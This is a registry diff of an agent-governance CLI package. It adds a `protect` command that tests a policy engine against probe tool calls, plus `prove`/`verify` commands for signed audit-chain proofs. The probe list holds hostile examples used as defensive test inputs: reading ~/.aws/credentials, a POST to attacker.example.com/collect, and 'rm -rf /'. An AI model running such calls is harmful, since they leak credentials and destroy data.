@cirvix_ai/agent-control 0.1.3 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +76 -17
- package/bin/cirvix.mjs +539 -85
- package/bin/escape-benchmark.mjs +67 -0
- package/package.json +36 -16
- package/src/adapters/base.mjs +150 -0
- package/src/adapters/claude-code.mjs +161 -0
- package/src/adapters/cline.mjs +107 -0
- package/src/adapters/codex.mjs +104 -0
- package/src/adapters/cursor.mjs +104 -0
- package/src/adapters/frameworks.mjs +110 -0
- package/src/adapters/gemini-cli.mjs +104 -0
- package/src/adapters/generic-mcp.mjs +101 -0
- package/src/adapters/index.mjs +209 -0
- package/src/adapters/roo-code.mjs +106 -0
- package/src/adapters/vscode.mjs +104 -0
- package/src/adapters/windsurf.mjs +107 -0
- package/src/commands/console.mjs +58 -0
- package/src/commands/demo.mjs +55 -124
- package/src/commands/doctor.mjs +235 -0
- package/src/commands/init.mjs +292 -30
- package/src/commands/interactive.mjs +690 -0
- package/src/commands/kill.mjs +74 -0
- package/src/commands/login.mjs +227 -0
- package/src/commands/onboard.mjs +52 -0
- package/src/commands/passport.mjs +149 -0
- package/src/commands/policy.mjs +10 -6
- package/src/commands/protect.mjs +293 -0
- package/src/commands/prove.mjs +209 -0
- package/src/commands/redteam.mjs +51 -0
- package/src/commands/scan.mjs +11 -9
- package/src/commands/shadow.mjs +62 -0
- package/src/commands/simulate.mjs +96 -0
- package/src/commands/status.mjs +122 -41
- package/src/commands/upgrade.mjs +11 -11
- package/src/commands/welcome.mjs +105 -0
- package/src/core/authority.mjs +909 -0
- package/src/core/baseline.mjs +97 -0
- package/src/core/config-store.mjs +280 -0
- package/src/core/cost.mjs +0 -0
- package/src/core/detect.mjs +4 -33
- package/src/core/entitlements.mjs +7 -24
- package/src/core/escape-benchmark.mjs +597 -0
- package/src/core/events.mjs +234 -0
- package/src/core/evidence.mjs +212 -0
- package/src/core/format.mjs +44 -18
- package/src/core/gateway.mjs +15 -211
- package/src/core/graph.mjs +270 -0
- package/src/core/guard.mjs +118 -4
- package/src/core/intent.mjs +166 -0
- package/src/core/journal.mjs +131 -40
- package/src/core/kill-switch.mjs +122 -0
- package/src/core/notices.mjs +22 -2
- package/src/core/packs.mjs +193 -0
- package/src/core/passport.mjs +555 -0
- package/src/core/pipeline.mjs +148 -6
- package/src/core/prompts.mjs +51 -0
- package/src/core/proof.mjs +440 -0
- package/src/core/redteam/index.mjs +185 -0
- package/src/core/referral.mjs +187 -0
- package/src/core/sandbox.mjs +139 -0
- package/src/core/session.mjs +172 -0
- package/src/core/shadow.mjs +95 -0
- package/src/core/theme.mjs +240 -0
- package/src/core/trifecta.mjs +321 -0
- package/src/core/ui/controller.mjs +192 -0
- package/src/core/ui/decisions.mjs +55 -0
- package/src/core/ui/index.mjs +49 -0
- package/src/core/ui/intercept.mjs +103 -0
- package/src/core/ui/live.mjs +51 -0
- package/src/core/ui/primitives.mjs +123 -0
- package/src/core/ui/theme.mjs +92 -0
- package/src/core/verified.mjs +108 -0
- package/src/core/windows.mjs +270 -0
- package/src/index.mjs +67 -0
- package/src/tui/activity.mjs +71 -0
- package/src/tui/app.mjs +292 -0
- package/src/tui/cards.mjs +235 -0
- package/src/tui/composer.mjs +88 -0
- package/src/tui/palette.mjs +48 -0
- package/src/tui/status.mjs +42 -0
- package/src/core/cinematic.mjs +0 -545
|
@@ -0,0 +1,293 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* `cirvix protect <path>` — the command the product is named for.
|
|
3
|
+
*
|
|
4
|
+
* Seven stages, in the order a security engineer would actually work:
|
|
5
|
+
*
|
|
6
|
+
* DISCOVER what runtimes and frameworks are on this machine
|
|
7
|
+
* IDENTIFY which agent this is, and what it is allowed to be
|
|
8
|
+
* ANALYZE what it can currently reach that it should not
|
|
9
|
+
* POLICY the rules that will govern it, loaded or written
|
|
10
|
+
* RISK the aggregate, derived from the findings above
|
|
11
|
+
* ENFORCE real calls through the real pipeline, real verdicts
|
|
12
|
+
* AUDIT the chain those decisions were written to
|
|
13
|
+
*
|
|
14
|
+
* EVERY LINE IS A MEASURED RESULT.
|
|
15
|
+
*
|
|
16
|
+
* This is the whole discipline of the file and it is the part that is normally
|
|
17
|
+
* faked. Nothing here prints a number it did not compute. The ENFORCE stage in
|
|
18
|
+
* particular does not describe what the policy would do — it submits genuine
|
|
19
|
+
* tool calls to a genuine `Pipeline` over the rules just loaded, and prints the
|
|
20
|
+
* verdicts that came back. If the policy changes, the output changes. If the
|
|
21
|
+
* engine gets slower, the latency on screen goes up.
|
|
22
|
+
*
|
|
23
|
+
* `cirvix runtime` used to print "Agents 1 detected · 0 blocked · 0 approvals"
|
|
24
|
+
* as string literals. They happened to be true at startup, which is exactly
|
|
25
|
+
* what makes that kind of line dangerous: it reads as measurement, it survives
|
|
26
|
+
* review, and it is wrong the moment anything happens. Those are now computed
|
|
27
|
+
* (see bin/cirvix.mjs) and nothing in this file was allowed to repeat it.
|
|
28
|
+
*
|
|
29
|
+
* WHAT THIS COMMAND DOES NOT CLAIM. It does not leave a daemon running.
|
|
30
|
+
* Protection at runtime is `cirvix runtime` and `cirvix gateway`; this command
|
|
31
|
+
* establishes the policy, proves it decides correctly against real calls, and
|
|
32
|
+
* says plainly which command to run next. Printing "PROTECTION ACTIVE" and
|
|
33
|
+
* exiting would be a claim that ends with the process.
|
|
34
|
+
*/
|
|
35
|
+
|
|
36
|
+
import { mkdir } from "node:fs/promises";
|
|
37
|
+
import { join } from "node:path";
|
|
38
|
+
|
|
39
|
+
import { AuditChain } from "../core/audit.mjs";
|
|
40
|
+
import { Pipeline } from "../core/pipeline.mjs";
|
|
41
|
+
import { DECISION } from "../core/decisions.mjs";
|
|
42
|
+
import { RISK, RISK_ORDER, riskRank } from "../core/risk.mjs";
|
|
43
|
+
import { detectRuntimes, detectFrameworks, collectMcpServers, detectCredentials } from "../core/detect.mjs";
|
|
44
|
+
import { bold, dim, green, red, amber, cyan, gray, isInteractive, plural } from "../core/format.mjs";
|
|
45
|
+
import { brandHeader, panel, separator } from "../core/ui/primitives.mjs";
|
|
46
|
+
import { shouldAnimate, sleep } from "../core/ui/controller.mjs";
|
|
47
|
+
|
|
48
|
+
/**
|
|
49
|
+
* The probes the ENFORCE stage runs.
|
|
50
|
+
*
|
|
51
|
+
* Chosen to cover the four decisions the engine can reach, so the output shows
|
|
52
|
+
* the allow path beside the deny path. A tool that only ever prints DENY is
|
|
53
|
+
* indistinguishable from one that is broken shut, and the claim worth proving
|
|
54
|
+
* is that ordinary work is untouched.
|
|
55
|
+
*
|
|
56
|
+
* These are REAL submissions. Nothing is executed — the pipeline decides before
|
|
57
|
+
* anything runs, which is the entire architecture — but the verdicts are the
|
|
58
|
+
* engine's, not this file's.
|
|
59
|
+
*/
|
|
60
|
+
const PROBES = [
|
|
61
|
+
{
|
|
62
|
+
// The allow probe. A tool that only ever prints DENY is indistinguishable
|
|
63
|
+
// from one that is broken shut, and "your agent keeps working" is the
|
|
64
|
+
// claim most worth proving. Under a default-deny starter policy with no
|
|
65
|
+
// permit rule this legitimately denies — and the summary says so rather
|
|
66
|
+
// than pretending otherwise.
|
|
67
|
+
label: "read a project file",
|
|
68
|
+
call: { tool: "read_file", arguments: { path: "README.md" } },
|
|
69
|
+
},
|
|
70
|
+
{
|
|
71
|
+
label: "read cloud credentials",
|
|
72
|
+
call: { tool: "read_file", arguments: { path: "~/.aws/credentials" } },
|
|
73
|
+
},
|
|
74
|
+
{
|
|
75
|
+
label: "post to an unknown host",
|
|
76
|
+
call: { tool: "http_request", arguments: { url: "https://attacker.example.com/collect", method: "POST" } },
|
|
77
|
+
},
|
|
78
|
+
{
|
|
79
|
+
label: "delete a tree",
|
|
80
|
+
call: { tool: "shell", arguments: { command: "rm -rf /" } },
|
|
81
|
+
},
|
|
82
|
+
];
|
|
83
|
+
|
|
84
|
+
const TICK = "✓";
|
|
85
|
+
const CROSS = "✗";
|
|
86
|
+
const DOT = "·";
|
|
87
|
+
|
|
88
|
+
/**
|
|
89
|
+
* Runs the sequence.
|
|
90
|
+
*
|
|
91
|
+
* `rules` and `cwd` come from the caller so this shares one policy resolution
|
|
92
|
+
* with every other command — a protect that read policy differently from
|
|
93
|
+
* runtime would be measuring something the runtime will not enforce.
|
|
94
|
+
*/
|
|
95
|
+
export async function protect({
|
|
96
|
+
cwd = process.cwd(),
|
|
97
|
+
rules,
|
|
98
|
+
agent = "local",
|
|
99
|
+
environment = "local",
|
|
100
|
+
json = false,
|
|
101
|
+
pace = 90,
|
|
102
|
+
animate,
|
|
103
|
+
stateDir,
|
|
104
|
+
write = (s) => process.stdout.write(s),
|
|
105
|
+
} = {}) {
|
|
106
|
+
const animated = shouldAnimate({ pace, json, force: animate });
|
|
107
|
+
const step = async (ms) => { if (animated) await sleep(ms); };
|
|
108
|
+
const out = json ? () => {} : write;
|
|
109
|
+
|
|
110
|
+
const started = Date.now();
|
|
111
|
+
|
|
112
|
+
/* ---------------------------------------------------------- 1. DISCOVER */
|
|
113
|
+
const runtimes = await detectRuntimes();
|
|
114
|
+
const frameworks = await detectFrameworks(cwd);
|
|
115
|
+
const servers = collectMcpServers(runtimes);
|
|
116
|
+
|
|
117
|
+
/* ---------------------------------------------------------- 2. ANALYZE */
|
|
118
|
+
const credentials = await detectCredentials(cwd);
|
|
119
|
+
const ungoverned = runtimes.filter((r) => !r.governed);
|
|
120
|
+
const broadScope = servers.filter((s) => s.scope && s.scope.broad);
|
|
121
|
+
|
|
122
|
+
/* ----------------------------------------------------------- 3. POLICY */
|
|
123
|
+
const ruleCount = Array.isArray(rules) ? rules.length : 0;
|
|
124
|
+
|
|
125
|
+
/* ------------------------------------------------------------- 4. RISK */
|
|
126
|
+
// Derived, not asserted. Each input raises the floor; the aggregate is the
|
|
127
|
+
// highest floor reached, so a clean machine genuinely reports LOW.
|
|
128
|
+
let risk = RISK.LOW;
|
|
129
|
+
const raise = (level) => { if (riskRank(level) > riskRank(risk)) risk = level; };
|
|
130
|
+
if (frameworks.length) raise(RISK.MEDIUM);
|
|
131
|
+
if (ungoverned.length) raise(RISK.HIGH);
|
|
132
|
+
if (broadScope.length) raise(RISK.HIGH);
|
|
133
|
+
if (credentials.length) raise(RISK.HIGH);
|
|
134
|
+
|
|
135
|
+
/* ---------------------------------------------------------- 5. ENFORCE */
|
|
136
|
+
const dir = stateDir || join(cwd, ".cirvix");
|
|
137
|
+
await mkdir(dir, { recursive: true }).catch(() => {});
|
|
138
|
+
/* AuditChain takes a PATH, not an options object — and passing `{ path }`
|
|
139
|
+
is how this was first written. The engine caught it rather than papering
|
|
140
|
+
over it: with the chain unwritable, the pipeline refused every call with
|
|
141
|
+
"A call with no audit record is a call nobody can account for", which is
|
|
142
|
+
the fail-closed rule working exactly as designed. Worth leaving a note,
|
|
143
|
+
because a denied call that looks like a policy decision but is actually a
|
|
144
|
+
broken recorder is the single most misleading output this command could
|
|
145
|
+
produce.
|
|
146
|
+
|
|
147
|
+
open() reads the tail so appends continue an existing chain rather than
|
|
148
|
+
forking a second one beside it. */
|
|
149
|
+
const chain = await new AuditChain(join(dir, "audit.jsonl")).open();
|
|
150
|
+
|
|
151
|
+
const pipeline = new Pipeline({
|
|
152
|
+
rules: rules ?? [],
|
|
153
|
+
cwd,
|
|
154
|
+
agent,
|
|
155
|
+
environment,
|
|
156
|
+
audit: chain,
|
|
157
|
+
});
|
|
158
|
+
|
|
159
|
+
const probes = [];
|
|
160
|
+
for (const p of PROBES) {
|
|
161
|
+
const { event } = await pipeline.submit(p.call);
|
|
162
|
+
probes.push({
|
|
163
|
+
label: p.label,
|
|
164
|
+
tool: event.tool,
|
|
165
|
+
action: event.action,
|
|
166
|
+
resource: event.resource,
|
|
167
|
+
decision: event.decision,
|
|
168
|
+
verdict: event.verdict,
|
|
169
|
+
policy: event.policy,
|
|
170
|
+
reason: event.reason,
|
|
171
|
+
risk: event.risk,
|
|
172
|
+
latencyMs: event.latency_ms,
|
|
173
|
+
decisionId: event.decision_id,
|
|
174
|
+
});
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
const blocked = probes.filter((p) => p.decision === DECISION.DENY).length;
|
|
178
|
+
const held = probes.filter((p) => p.decision === DECISION.REQUIRE_APPROVAL).length;
|
|
179
|
+
const allowed = probes.filter((p) => p.decision === DECISION.ALLOW).length;
|
|
180
|
+
|
|
181
|
+
/* ------------------------------------------------------------ 6. AUDIT */
|
|
182
|
+
const verdict = await chain.verify();
|
|
183
|
+
const audit = {
|
|
184
|
+
records: verdict.records ?? 0,
|
|
185
|
+
// INTACT only when verify() actually said so. Anything else — including a
|
|
186
|
+
// chain that could not be read — is reported as not intact, because "we
|
|
187
|
+
// could not check" and "it is fine" are different sentences.
|
|
188
|
+
intact: verdict.ok === true,
|
|
189
|
+
head: verdict.head ?? null,
|
|
190
|
+
reason: verdict.ok === true ? null : verdict.reason ?? null,
|
|
191
|
+
};
|
|
192
|
+
|
|
193
|
+
const result = {
|
|
194
|
+
protectedAt: new Date().toISOString(),
|
|
195
|
+
cwd,
|
|
196
|
+
agent,
|
|
197
|
+
environment,
|
|
198
|
+
elapsedMs: Date.now() - started,
|
|
199
|
+
discovered: {
|
|
200
|
+
runtimes: runtimes.map(({ servers: _s, ...r }) => r),
|
|
201
|
+
frameworks,
|
|
202
|
+
mcpServers: servers.length,
|
|
203
|
+
},
|
|
204
|
+
findings: {
|
|
205
|
+
ungovernedRuntimes: ungoverned.map((r) => r.label),
|
|
206
|
+
broadScopeServers: broadScope.map((s) => s.name ?? s.label),
|
|
207
|
+
credentialFiles: credentials.map(({ keys: _k, ...c }) => c),
|
|
208
|
+
},
|
|
209
|
+
policy: { rules: ruleCount },
|
|
210
|
+
risk,
|
|
211
|
+
enforcement: { probes, blocked, held, allowed },
|
|
212
|
+
audit,
|
|
213
|
+
};
|
|
214
|
+
|
|
215
|
+
if (json) return { result, output: JSON.stringify(result, null, 2) };
|
|
216
|
+
|
|
217
|
+
/* ------------------------------------------------------------- render */
|
|
218
|
+
if (animated) out(brandHeader() + "\n");
|
|
219
|
+
|
|
220
|
+
const stage = async (name, detail, tone) => {
|
|
221
|
+
const mark = tone === "warn" ? amber(CROSS) : tone === "deny" ? red(CROSS) : green(TICK);
|
|
222
|
+
out(` ${mark} ${bold(name.padEnd(9))} ${detail}\n`);
|
|
223
|
+
await step(pace);
|
|
224
|
+
};
|
|
225
|
+
|
|
226
|
+
out(`\n ${bold("PROTECT")} ${dim(cwd)}\n\n`);
|
|
227
|
+
|
|
228
|
+
await stage("DISCOVER", `${plural(runtimes.length, "runtime")}, ${plural(frameworks.length, "framework")}, ${plural(servers.length, "MCP server")}`);
|
|
229
|
+
await stage("IDENTIFY", `${cyan(agent)} ${dim("in")} ${cyan(environment)}`);
|
|
230
|
+
|
|
231
|
+
const analyzeBits = [];
|
|
232
|
+
if (ungoverned.length) analyzeBits.push(`${ungoverned.length} ungoverned`);
|
|
233
|
+
if (broadScope.length) analyzeBits.push(`${broadScope.length} broad-scope`);
|
|
234
|
+
if (credentials.length) analyzeBits.push(plural(credentials.length, "credential file"));
|
|
235
|
+
await stage(
|
|
236
|
+
"ANALYZE",
|
|
237
|
+
analyzeBits.length ? analyzeBits.join(` ${DOT} `) : dim("nothing reachable that should not be"),
|
|
238
|
+
analyzeBits.length ? "warn" : null,
|
|
239
|
+
);
|
|
240
|
+
|
|
241
|
+
await stage("POLICY", `${plural(ruleCount, "rule")} loaded`);
|
|
242
|
+
await stage(
|
|
243
|
+
"RISK",
|
|
244
|
+
risk === RISK.LOW ? green(risk.toUpperCase()) : risk === RISK.MEDIUM ? amber(risk.toUpperCase()) : red(risk.toUpperCase()),
|
|
245
|
+
risk === RISK.LOW ? null : "warn",
|
|
246
|
+
);
|
|
247
|
+
|
|
248
|
+
out(`\n ${bold("ENFORCE")} ${dim("real calls, real verdicts")}\n\n`);
|
|
249
|
+
for (const p of probes) {
|
|
250
|
+
const tone =
|
|
251
|
+
p.decision === DECISION.DENY ? red("DENY")
|
|
252
|
+
: p.decision === DECISION.REQUIRE_APPROVAL ? amber("HOLD")
|
|
253
|
+
: green("ALLOW");
|
|
254
|
+
out(` ${tone.padEnd(16)} ${p.label.padEnd(28)} ${dim(p.policy || "no matching rule")} ${gray(p.latencyMs + "ms")}\n`);
|
|
255
|
+
await step(Math.round(pace * 0.6));
|
|
256
|
+
}
|
|
257
|
+
|
|
258
|
+
out(`\n ${green(TICK)} ${bold("AUDIT".padEnd(9))} ${audit.records} ${audit.records === 1 ? "record" : "records"}, chain ${audit.intact ? green("intact") : red("BROKEN")}\n`);
|
|
259
|
+
if (!audit.intact && audit.reason) out(` ${red(audit.reason)}\n`);
|
|
260
|
+
if (audit.head) out(` ${dim(audit.head)}\n`);
|
|
261
|
+
|
|
262
|
+
out("\n");
|
|
263
|
+
out(
|
|
264
|
+
panel({
|
|
265
|
+
title: "CIRVIX",
|
|
266
|
+
lines: [
|
|
267
|
+
["Risk", risk.toUpperCase()],
|
|
268
|
+
["Rules", String(ruleCount)],
|
|
269
|
+
["Blocked", `${blocked} of ${probes.length} probes`],
|
|
270
|
+
["Held", String(held)],
|
|
271
|
+
["Allowed", String(allowed)],
|
|
272
|
+
["Audit", audit.intact ? `${audit.records} records, intact` : "CHAIN BROKEN"],
|
|
273
|
+
].map(([k, v]) => `${k.padEnd(9)} ${v}`),
|
|
274
|
+
}) + "\n",
|
|
275
|
+
);
|
|
276
|
+
|
|
277
|
+
if (allowed === 0) {
|
|
278
|
+
/* Said out loud rather than left to be inferred from four DENY lines. A
|
|
279
|
+
policy that refuses everything is trivially secure and useless, and the
|
|
280
|
+
reader needs to know which of the two they are looking at. */
|
|
281
|
+
out(`\n ${amber("Every probe was refused.")} ${dim("The active policy permits nothing yet — add a permit rule")}\n`);
|
|
282
|
+
out(` ${dim("for the work this agent actually does, then run protect again.")}\n`);
|
|
283
|
+
}
|
|
284
|
+
|
|
285
|
+
/* The honest close. This command proved the policy decides correctly; it did
|
|
286
|
+
not leave anything running, and saying otherwise would be a claim that
|
|
287
|
+
ends when the process does. */
|
|
288
|
+
out(`\n ${dim("Policy verified against real calls. Nothing is running yet.")}\n`);
|
|
289
|
+
out(` ${dim("Start enforcement:")} ${bold("cirvix runtime")}\n`);
|
|
290
|
+
out(` ${dim("Govern an MCP server:")} ${bold("cirvix gateway --servers <cmd>")}\n\n`);
|
|
291
|
+
|
|
292
|
+
return { result, output: "" };
|
|
293
|
+
}
|
|
@@ -0,0 +1,209 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* `cirvix prove <decision-id>` and `cirvix verify <proof>`.
|
|
3
|
+
*
|
|
4
|
+
* prove — finds the decision in the local audit chain, takes the segment that
|
|
5
|
+
* covers it, and signs it.
|
|
6
|
+
* verify — checks a proof offline. No network, and no Cirvix.
|
|
7
|
+
*
|
|
8
|
+
* THE KEY. A workspace signs with a key it generates on first use and keeps in
|
|
9
|
+
* `.cirvix/proof-key.json` at 0600. That file is the whole security of a local
|
|
10
|
+
* proof, which is exactly why `verify` refuses to describe a locally-signed
|
|
11
|
+
* artifact as independent evidence: the holder of that key could sign a
|
|
12
|
+
* doctored history just as easily as a true one.
|
|
13
|
+
*
|
|
14
|
+
* The private half is never printed, never included in a proof, and never
|
|
15
|
+
* leaves the machine. Only the public half and the key id travel.
|
|
16
|
+
*/
|
|
17
|
+
|
|
18
|
+
import { mkdir, readFile, writeFile, chmod } from "node:fs/promises";
|
|
19
|
+
import { join } from "node:path";
|
|
20
|
+
|
|
21
|
+
import { AuditChain } from "../core/audit.mjs";
|
|
22
|
+
import { buildProof, verifyProof, generateProofKeys, keyIdFor } from "../core/proof.mjs";
|
|
23
|
+
import { bold, dim, green, red, amber, gray } from "../core/format.mjs";
|
|
24
|
+
import { panel } from "../core/ui/primitives.mjs";
|
|
25
|
+
|
|
26
|
+
const KEY_FILE = "proof-key.json";
|
|
27
|
+
|
|
28
|
+
/**
|
|
29
|
+
* Loads this workspace's signing key, generating one on first use.
|
|
30
|
+
*
|
|
31
|
+
* 0600 because the file is the only thing standing between "this proof came
|
|
32
|
+
* from here" and "anyone who read the repo can mint one". chmod is
|
|
33
|
+
* best-effort: on Windows it is close to a no-op, which is a real limitation
|
|
34
|
+
* and is stated rather than hidden.
|
|
35
|
+
*/
|
|
36
|
+
export async function loadOrCreateKey(stateDir) {
|
|
37
|
+
const path = join(stateDir, KEY_FILE);
|
|
38
|
+
try {
|
|
39
|
+
const existing = JSON.parse(await readFile(path, "utf8"));
|
|
40
|
+
if (existing.privateKey && existing.publicKey) return { ...existing, created: false, path };
|
|
41
|
+
} catch {
|
|
42
|
+
/* absent or unreadable — generate below */
|
|
43
|
+
}
|
|
44
|
+
await mkdir(stateDir, { recursive: true });
|
|
45
|
+
const keys = generateProofKeys();
|
|
46
|
+
await writeFile(path, JSON.stringify(keys, null, 2), "utf8");
|
|
47
|
+
await chmod(path, 0o600).catch(() => {});
|
|
48
|
+
return { ...keys, created: true, path };
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
/**
|
|
52
|
+
* The segment a proof covers.
|
|
53
|
+
*
|
|
54
|
+
* Everything from the start of the chain up to and including the decision,
|
|
55
|
+
* because a link is only checkable against the record before it. Taking the
|
|
56
|
+
* single record would produce an artifact that proves the record hashes to
|
|
57
|
+
* itself and nothing about where it sits.
|
|
58
|
+
*/
|
|
59
|
+
function segmentFor(records, decisionId) {
|
|
60
|
+
const index = records.findIndex((r) => r.decision_id === decisionId || r.decisionId === decisionId);
|
|
61
|
+
if (index === -1) return null;
|
|
62
|
+
return records.slice(0, index + 1);
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
export async function prove({
|
|
66
|
+
decisionId,
|
|
67
|
+
cwd = process.cwd(),
|
|
68
|
+
stateDir = join(cwd, ".cirvix"),
|
|
69
|
+
policy = null,
|
|
70
|
+
json = false,
|
|
71
|
+
out = null,
|
|
72
|
+
write = (s) => process.stdout.write(s),
|
|
73
|
+
} = {}) {
|
|
74
|
+
const chain = new AuditChain(join(stateDir, "audit.jsonl"));
|
|
75
|
+
const records = await chain.read();
|
|
76
|
+
|
|
77
|
+
if (!records.length) {
|
|
78
|
+
const err = { error: "no_audit_records", message: "There is no audit chain in this workspace yet." };
|
|
79
|
+
if (json) return { result: err, output: JSON.stringify(err, null, 2), exitCode: 1 };
|
|
80
|
+
write(`\n ${red("No audit chain in this workspace.")}\n ${dim("Run `cirvix protect` or `cirvix runtime` first.")}\n\n`);
|
|
81
|
+
return { result: err, exitCode: 1 };
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
const segment = segmentFor(records, decisionId);
|
|
85
|
+
if (!segment) {
|
|
86
|
+
const err = { error: "decision_not_found", message: `No decision "${decisionId}" in this chain.`, records: records.length };
|
|
87
|
+
if (json) return { result: err, output: JSON.stringify(err, null, 2), exitCode: 1 };
|
|
88
|
+
write(`\n ${red(`No decision "${decisionId}" in this chain.`)}\n ${dim(`${records.length} records searched. Try \`cirvix logs\`.`)}\n\n`);
|
|
89
|
+
return { result: err, exitCode: 1 };
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
const key = await loadOrCreateKey(stateDir);
|
|
93
|
+
const decision = segment[segment.length - 1];
|
|
94
|
+
|
|
95
|
+
const { token, payload } = buildProof({
|
|
96
|
+
privateKey: key.privateKey,
|
|
97
|
+
keyId: key.keyId,
|
|
98
|
+
issuer: "local",
|
|
99
|
+
decisionId,
|
|
100
|
+
records: segment,
|
|
101
|
+
policy,
|
|
102
|
+
agent: decision.agent ?? null,
|
|
103
|
+
});
|
|
104
|
+
|
|
105
|
+
if (out) await writeFile(out, token + "\n", "utf8");
|
|
106
|
+
|
|
107
|
+
const result = {
|
|
108
|
+
decisionId,
|
|
109
|
+
issuer: "local",
|
|
110
|
+
keyId: key.keyId,
|
|
111
|
+
records: segment.length,
|
|
112
|
+
chainHead: payload.chainHead,
|
|
113
|
+
issuedAt: payload.issuedAt,
|
|
114
|
+
writtenTo: out ?? null,
|
|
115
|
+
proof: token,
|
|
116
|
+
};
|
|
117
|
+
if (json) return { result, output: JSON.stringify(result, null, 2), exitCode: 0 };
|
|
118
|
+
|
|
119
|
+
write(`\n ${bold("PROOF")} ${dim(decisionId)}\n\n`);
|
|
120
|
+
write(
|
|
121
|
+
panel({
|
|
122
|
+
lines: [
|
|
123
|
+
`${"Issuer".padEnd(11)} local (this workspace)`,
|
|
124
|
+
`${"Key".padEnd(11)} ${key.keyId}`,
|
|
125
|
+
`${"Records".padEnd(11)} ${segment.length}`,
|
|
126
|
+
`${"Chain head".padEnd(11)} ${payload.chainHead.slice(0, 30)}…`,
|
|
127
|
+
`${"Issued".padEnd(11)} ${payload.issuedAt}`,
|
|
128
|
+
],
|
|
129
|
+
width: 62,
|
|
130
|
+
}) + "\n",
|
|
131
|
+
);
|
|
132
|
+
if (out) write(`\n ${green("✓")} written to ${bold(out)}\n`);
|
|
133
|
+
else write(`\n${gray(token)}\n`);
|
|
134
|
+
write(`\n ${dim("Check it:")} ${bold(`cirvix verify ${out ?? "<proof>"}`)}\n`);
|
|
135
|
+
/* Said here as well as in verify, because this is where someone decides
|
|
136
|
+
whether to send it to an auditor. */
|
|
137
|
+
write(` ${dim("A local proof shows this workspace has not altered the artifact since")}\n`);
|
|
138
|
+
write(` ${dim("signing. It is not independent evidence — the key that signed it lives here.")}\n\n`);
|
|
139
|
+
return { result, exitCode: 0 };
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
/* -------------------------------------------------------------------------- */
|
|
143
|
+
|
|
144
|
+
export async function verify({
|
|
145
|
+
proof,
|
|
146
|
+
publicKey = null,
|
|
147
|
+
cwd = process.cwd(),
|
|
148
|
+
stateDir = join(cwd, ".cirvix"),
|
|
149
|
+
json = false,
|
|
150
|
+
write = (s) => process.stdout.write(s),
|
|
151
|
+
} = {}) {
|
|
152
|
+
let token = String(proof ?? "").trim();
|
|
153
|
+
// A path or the artifact itself, because both are what people actually have.
|
|
154
|
+
if (token && !token.includes(".")) {
|
|
155
|
+
token = (await readFile(token, "utf8").catch(() => "")).trim();
|
|
156
|
+
} else if (token && token.length < 512) {
|
|
157
|
+
const fromFile = await readFile(proof, "utf8").catch(() => null);
|
|
158
|
+
if (fromFile) token = fromFile.trim();
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
let pub = publicKey;
|
|
162
|
+
if (!pub) {
|
|
163
|
+
// No key given: fall back to this workspace's own. That only ever verifies
|
|
164
|
+
// proofs this machine issued, which is the honest default — verifying
|
|
165
|
+
// someone else's proof requires their public key and should not silently
|
|
166
|
+
// appear to succeed without it.
|
|
167
|
+
try {
|
|
168
|
+
pub = JSON.parse(await readFile(join(stateDir, KEY_FILE), "utf8")).publicKey;
|
|
169
|
+
} catch {
|
|
170
|
+
const err = { verified: false, failed: "key", reason: "No public key given, and this workspace has none to fall back on." };
|
|
171
|
+
if (json) return { result: err, output: JSON.stringify(err, null, 2), exitCode: 1 };
|
|
172
|
+
write(`\n ${red("No key to verify against.")}\n ${dim("Pass --key <public-key.pem>.")}\n\n`);
|
|
173
|
+
return { result: err, exitCode: 1 };
|
|
174
|
+
}
|
|
175
|
+
} else if (!String(pub).includes("BEGIN")) {
|
|
176
|
+
pub = await readFile(pub, "utf8");
|
|
177
|
+
}
|
|
178
|
+
|
|
179
|
+
const result = verifyProof(pub, token);
|
|
180
|
+
|
|
181
|
+
if (json) return { result, output: JSON.stringify(result, null, 2), exitCode: result.verified ? 0 : 1 };
|
|
182
|
+
|
|
183
|
+
if (!result.verified) {
|
|
184
|
+
/* Which of the three checks failed, by name. "Invalid" tells an auditor
|
|
185
|
+
nothing they can act on; "the signature does not verify" and "the chain
|
|
186
|
+
breaks at record 4" lead to completely different investigations. */
|
|
187
|
+
write(`\n ${red(bold("NOT VERIFIED"))} ${dim("(" + result.failed + ")")}\n\n`);
|
|
188
|
+
write(` ${result.reason}\n\n`);
|
|
189
|
+
return { result, exitCode: 1 };
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
write(`\n ${green(bold("VERIFIED"))} ${dim("signature · chain · integrity")}\n\n`);
|
|
193
|
+
write(
|
|
194
|
+
panel({
|
|
195
|
+
lines: [
|
|
196
|
+
`${"Decision".padEnd(11)} ${result.decisionId}`,
|
|
197
|
+
`${"Issuer".padEnd(11)} ${result.issuer}`,
|
|
198
|
+
`${"Key".padEnd(11)} ${result.keyId ?? "—"}`,
|
|
199
|
+
`${"Agent".padEnd(11)} ${result.agent ?? "—"}`,
|
|
200
|
+
`${"Records".padEnd(11)} ${result.records}`,
|
|
201
|
+
`${"Policy".padEnd(11)} ${String(result.policy?.hash ?? "—").slice(0, 30)}…`,
|
|
202
|
+
`${"Issued".padEnd(11)} ${result.issuedAt}`,
|
|
203
|
+
],
|
|
204
|
+
width: 62,
|
|
205
|
+
}) + "\n",
|
|
206
|
+
);
|
|
207
|
+
write(`\n ${result.issuer === "cirvix" ? green("●") : amber("●")} ${dim(result.attests)}\n\n`);
|
|
208
|
+
return { result, exitCode: 0 };
|
|
209
|
+
}
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Continuous Red Teaming CLI Command.
|
|
3
|
+
*
|
|
4
|
+
* Runs automated adversarial security attacks against the active policy set.
|
|
5
|
+
*/
|
|
6
|
+
|
|
7
|
+
import { Pipeline } from "../core/pipeline.mjs";
|
|
8
|
+
import { runRedTeamSuite } from "../core/redteam/index.mjs";
|
|
9
|
+
import { bold, dim, green, red, amber, cyan } from "../core/format.mjs";
|
|
10
|
+
|
|
11
|
+
